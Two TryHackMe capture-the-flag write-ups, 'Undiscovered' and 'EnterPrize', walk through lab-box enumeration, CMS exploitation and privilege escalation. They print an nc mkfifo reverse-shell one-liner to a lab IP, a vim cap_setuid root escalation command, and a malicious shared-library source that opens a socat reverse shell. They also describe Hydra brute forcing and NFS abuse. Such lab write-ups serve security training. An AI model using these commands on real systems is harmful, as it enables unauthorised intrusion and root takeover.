Undiscovered TryHackMe Writeup

Scanning

We run nmap on all ports, with scripts and versions.

Enumeration

We access the web service, find a website with what looks like a "hint".

We launch the wfuzz tool to list possible subdomains enabled on vhost.

We see that there is only one with different number of lines.

We access the new web resource and find RiteCMS version 2.2.1 deployed.

We check again wfuzz, we see that it has identified another subdomain.

We list another subdomain with the same CMS, unlike the previous one, in this one we have visibility to the authentication form.

We brute force the authentication form with Hydra, we get the password in plain text.

Exploitation

We searched for exploits for this version of the CMS, we found several and some scripts that automates, but I preferred to do it "by hand".

RiteCMS 2.2.1 - Authenticated Remote Code Execution

We create a malicious file called "m3.php".

Enter the credentials obtained and upload the file m3.php.

We access the file and check that we can execute remote code.

Reverse shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.30.149 443 >/tmp/f

We encode the payload and execute it from burp.

Remote access to the machine:

Once inside, we launch the dirsearch tool and we see that we could mount and write in the folder of the user "william".

We tried to mount it, but we do not have permission to view its contents.

But it is easy to take advantage of this vulnerability, just create a local user with the same uid (3003) and now you can access your folder and read the user.txt flag.

We checked the folder and found two interesting files "admin.sh" and "script". I try to delete the file and it is possible to replace it, thinking that maybe they can be combined or that there is some crontab running as another user, I try to add a line to get a reverse shell (but without success :().

We check with strings the content of the "script" binary and we see that it executes a "cat" inside the user's home folder.

Taking advantage of the fact that we have write permissions in the nfs, we insert our public key in the "authorized_keys" file of the user "william" and we access by SSH.

We make some tests with the file and we see that we can indeed impersonate the user "leonard" to be able to read any file in his folder, so we try to read his private key and we see that we have been lucky.

We access by SSH and we see that we have access as "leonard".

Privilege Escalation

We read the file ".viminfo", we see a series of commands that already sounds us of the use of privilege escalation by means of vim, this already makes us suspect which is the way to the privilege escalation.

As we can't run sudo because we don't know the user's password, we see if we can access the vim binary through its capabilities, we see that we have "cap_setuid+ep", so we can abuse it and become root.

Command execute

/usr/bin/vim.basic  -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

We run the command, become root and read the flag from root.txt

---

About

David Utón is Penetration Tester and security auditor for web and mobiles applications, perimeter networks, internal and industrial corporate infrastructures, and wireless networks.

Contacted on:

David-Uton @David_Uton

Read More

EnterPrize TryHackMe Writeup

Scanning

We launch nmap to all ports, with script and software version.

Enumeration

We access the web resource, but there is nothing.

We launch the nikto tool and find the file "composer.json", these files usually reveal interesting information.

Contents of the file "composer.json"

It seems that there are leftover files from CMS Typo3, I check several paths but I can't find anything.... But maybe it is in another subdomain by virtual hosting (vhost).

We launch the wfuzz tool in vhost mode:

We add the subdomain to our /etc/hosts file, access the new site and find the Typo3 CMS that we listed information in the previous file.

For this CMS I used the Typo3Scan tool to find vulnerabilities in this cms.

List the control panel:

We enter credentials by guessing, it seems to work, but the site has gone into maintenance mode and we no longer have access to the panel.

We launch dirsearch, list several interesting files and folders.

Access the "/typo3conf" directory and list the "LocalConfiguration.old" file.

Part of the content of the "LocalConfiguration.old" file

Exploitation

In view of the above, I search for information about exploits and find this interesting article.

We list the sections of the site, we find a form from which we could carry out the exploitation.

We follow the instructions in the article and create a payload to generate the file "m3.php" and execute commands through it.

Sending malicious request:

Proof of concept

Reverse shell

We make an enumeration in the only user that has home, we find some files and a binary that seems interesting.

We check the libraries, we see that it calls "libcustom.so", we see that we also have write permissions, so it would make a lot of sense to replace the file with another illegitimate one.

Contents of file libcustom.c

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

void do_ping(){
    system("/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.6.62.222:5555", NULL, NULL);
}

We see that the configuration file has a symbolic link to a "test.conf" file in the folder, this file is not found but we can write it.

We run the pspy64 tool and we see that every few minutes it executes the binary and with it our reverse shell.

We wait a few minutes, get shell as the user "john" and read the user flag.

Privilege Escalation

In the previous enumeration, we saw that there is an nfs working internally, but we did not have access with the user "www-data". In the evidence we see that it is vulnerable to "no_root_squash", this vulnerability would allow us to be able to run a shared binary on our machine and get the same privileges of its SUID.

Hacemos port forwarding con chisel al servicio NFS.

We authenticate as root, create a malicious binary, compile and give it permissions.

Run the binary from the victim's nfs directory and you will become root.

---

About

David Utón is Penetration Tester and security auditor for web and mobiles applications, perimeter networks, internal and industrial corporate infrastructures, and wireless networks.

Contacted on:

David-Uton @David_Uton

Read More